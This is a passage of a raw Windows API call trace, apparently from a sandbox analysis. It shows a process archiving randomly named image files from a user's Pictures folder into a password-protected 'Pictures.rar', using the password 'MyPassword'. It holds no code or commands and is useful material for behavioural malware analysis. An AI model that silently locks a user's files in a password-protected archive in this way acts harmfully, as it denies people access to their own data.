dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x473e3 [0059.705] SetFilePointer (in: hFile=0x198, lDistanceToMove=103, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0x4744a [0059.705] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0059.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.706] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0059.706] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0059.706] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0059.706] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x12840, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0x12840, lpOverlapped=0x0) returned 1 [0059.707] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0059.707] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.707] SetFilePointer (in: hFile=0x198, lDistanceToMove=291811, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x473e3 [0059.707] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x473e3 [0059.707] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be70 [0059.707] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bea0 [0059.707] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bea0, Size=0x48) returned 0x26fe80 [0059.707] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.707] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bea0 [0059.707] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bea0, Size=0x48) returned 0x26fed0 [0059.707] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.707] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.707] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bea0 [0059.707] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bed0 [0059.707] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bed0 | out: hHeap=0x1b0000) returned 1 [0059.707] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bea0 | out: hHeap=0x1b0000) returned 1 [0059.707] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8be70, Size=0x48) returned 0x26fe80 [0059.708] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fe80, Size=0x7a) returned 0x203ab0 [0059.708] WriteFile (in: hFile=0x198, lpBuffer=0x203ab3*, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x203ab3*, lpNumberOfBytesWritten=0x167f30*=0x67, lpOverlapped=0x0) returned 1 [0059.708] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be70 [0059.708] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x67) returned 0x272e70 [0059.708] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.708] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.708] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x59c8a [0059.708] CloseHandle (hObject=0x1b0) returned 1 [0059.708] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.708] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.708] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.708] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.708] FindFirstFileW (in: lpFileName="6so3uw\\F6rd1F-UBg20OJcO.bmp", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0059.708] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0059.708] CreateFileW (lpFileName="6so3uw\\F6rd1F-UBg20OJcO.bmp" (normalized: "c:\\users\\whuoxysd\\pictures\\6so3uw\\f6rd1f-ubg20ojco.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.708] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.708] GetTickCount () returned 0xa65488 [0059.708] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0059.708] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0059.708] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.708] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0059.708] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="c0kYrk2r.gif") returned 12 [0059.708] SetWindowTextW (hWnd=0x1024c, lpString="F6rd1F-UBg20OJcO.bmp") returned 1 [0059.709] GetTickCount () returned 0xa65488 [0059.709] UpdateWindow (hWnd=0x10244) returned 1 [0059.709] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.709] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0059.709] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0059.709] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0059.709] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0x189)) [0059.709] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0059.709] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13504981215) returned 1 [0059.709] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0x6d78, lpOverlapped=0x0) returned 1 [0059.710] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d6db8, nNumberOfBytesToRead=0xf9288, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d6db8*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0059.710] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bea0 [0059.710] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bed0 [0059.710] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bed0, Size=0x48) returned 0x26fed0 [0059.710] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.710] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bed0 [0059.710] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bed0, Size=0x48) returned 0x26fe80 [0059.710] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.710] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.710] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bed0 [0059.710] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf00 [0059.710] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bf00 | out: hHeap=0x1b0000) returned 1 [0059.710] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bed0 | out: hHeap=0x1b0000) returned 1 [0059.710] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bea0, Size=0x48) returned 0x26fed0 [0059.710] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fed0, Size=0x7a) returned 0x203ab0 [0059.710] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.710] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.712] GetTickCount () returned 0xa65488 [0059.712] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13505230115) returned 1 [0059.712] GetTickCount () returned 0xa65488 [0059.712] GetTickCount () returned 0xa65488 [0059.712] GetTickCount () returned 0xa65488 [0059.712] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.712] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.712] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.712] ResetEvent (hEvent=0x1a4) returned 1 [0059.712] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.714] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.714] ResetEvent (hEvent=0x1a4) returned 1 [0059.714] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.715] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.715] GetTickCount () returned 0xa65488 [0059.715] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13505517486) returned 1 [0059.715] GetTickCount () returned 0xa65488 [0059.715] GetTickCount () returned 0xa65488 [0059.715] GetTickCount () returned 0xa65488 [0059.715] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0059.715] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0059.715] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.715] ResetEvent (hEvent=0x190) returned 1 [0059.715] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.716] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.716] ResetEvent (hEvent=0x190) returned 1 [0059.716] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.716] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.716] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 1 [0059.717] GetMessageW (in: lpMsg=0x16d150, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d150) returned 1 [0059.717] GetFocus () returned 0x10268 [0059.717] IsDialogMessageW (hDlg=0x10244, lpMsg=0x16d150) returned 1 [0059.717] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.717] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x59c8a [0059.717] SetFilePointer (in: hFile=0x198, lDistanceToMove=111, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0x59cf9 [0059.717] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0059.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.717] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0059.717] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0059.717] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0059.717] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x6dc0, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0x6dc0, lpOverlapped=0x0) returned 1 [0059.718] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0059.718] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.718] SetFilePointer (in: hFile=0x198, lDistanceToMove=367754, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x59c8a [0059.718] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x59c8a [0059.718] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bea0 [0059.718] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bed0 [0059.718] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bed0, Size=0x48) returned 0x26fe80 [0059.718] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.718] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bed0 [0059.718] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bed0, Size=0x48) returned 0x26fed0 [0059.718] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.718] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.718] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bed0 [0059.718] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf00 [0059.718] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bf00 | out: hHeap=0x1b0000) returned 1 [0059.718] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bed0 | out: hHeap=0x1b0000) returned 1 [0059.718] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bea0, Size=0x48) returned 0x26fe80 [0059.718] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fe80, Size=0x7a) returned 0x203ab0 [0059.718] WriteFile (in: hFile=0x198, lpBuffer=0x203ab3*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x203ab3*, lpNumberOfBytesWritten=0x167f30*=0x6f, lpOverlapped=0x0) returned 1 [0059.718] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bea0 [0059.718] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x6f) returned 0x2a0acd0 [0059.718] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.718] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.718] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x60ab9 [0059.718] CloseHandle (hObject=0x1b0) returned 1 [0059.718] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.718] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.718] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.718] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.718] FindFirstFileW (in: lpFileName="6so3uw\\kSdj3VO3TR7ki6gTEs.gif", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0059.719] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0059.719] CreateFileW (lpFileName="6so3uw\\kSdj3VO3TR7ki6gTEs.gif" (normalized: "c:\\users\\whuoxysd\\pictures\\6so3uw\\ksdj3vo3tr7ki6gtes.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.719] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.719] GetTickCount () returned 0xa65498 [0059.719] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0059.719] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0059.719] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.719] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0059.719] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="F6rd1F-UBg20OJcO.bmp") returned 20 [0059.719] SetWindowTextW (hWnd=0x1024c, lpString="kSdj3VO3TR7ki6gTEs.gif") returned 1 [0059.719] GetTickCount () returned 0xa65498 [0059.719] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.719] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0059.720] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0059.720] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0059.720] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0x199)) [0059.720] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0059.720] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13506205071) returned 1 [0059.722] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0x1272c, lpOverlapped=0x0) returned 1 [0059.723] ReadFile (in: hFile=0x1b0, lpBuffer=0x36e276c, nNumberOfBytesToRead=0xed8d4, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36e276c*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0059.723] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.723] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.723] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bed0 [0059.723] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf00 [0059.723] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf00, Size=0x48) returned 0x26fed0 [0059.723] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.723] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf00 [0059.723] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf00, Size=0x48) returned 0x26fe80 [0059.723] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.723] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.723] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf00 [0059.723] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf30 [0059.723] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bf30 | out: hHeap=0x1b0000) returned 1 [0059.723] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bf00 | out: hHeap=0x1b0000) returned 1 [0059.723] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bed0, Size=0x48) returned 0x26fed0 [0059.723] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fed0, Size=0x7a) returned 0x203ab0 [0059.723] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.723] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.723] GetTickCount () returned 0xa65498 [0059.723] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13506378872) returned 1 [0059.723] GetTickCount () returned 0xa65498 [0059.723] GetTickCount () returned 0xa65498 [0059.723] GetTickCount () returned 0xa65498 [0059.723] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.724] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.724] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.724] ResetEvent (hEvent=0x1a4) returned 1 [0059.724] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.725] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.725] ResetEvent (hEvent=0x1a4) returned 1 [0059.725] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.727] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.727] ResetEvent (hEvent=0x1a4) returned 1 [0059.727] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.729] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.729] GetTickCount () returned 0xa65498 [0059.729] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13506978744) returned 1 [0059.729] GetTickCount () returned 0xa65498 [0059.729] GetTickCount () returned 0xa65498 [0059.729] GetTickCount () returned 0xa65498 [0059.729] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0059.730] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0059.730] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.730] ResetEvent (hEvent=0x190) returned 1 [0059.730] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.730] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.730] ResetEvent (hEvent=0x190) returned 1 [0059.730] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.731] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.731] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 1 [0059.731] GetMessageW (in: lpMsg=0x16d150, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d150) returned 1 [0059.731] GetFocus () returned 0x10268 [0059.731] IsDialogMessageW (hDlg=0x10244, lpMsg=0x16d150) returned 1 [0059.731] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.731] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x60ab9 [0059.731] SetFilePointer (in: hFile=0x198, lDistanceToMove=113, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0x60b2a [0059.731] CryptUnprotectMemory 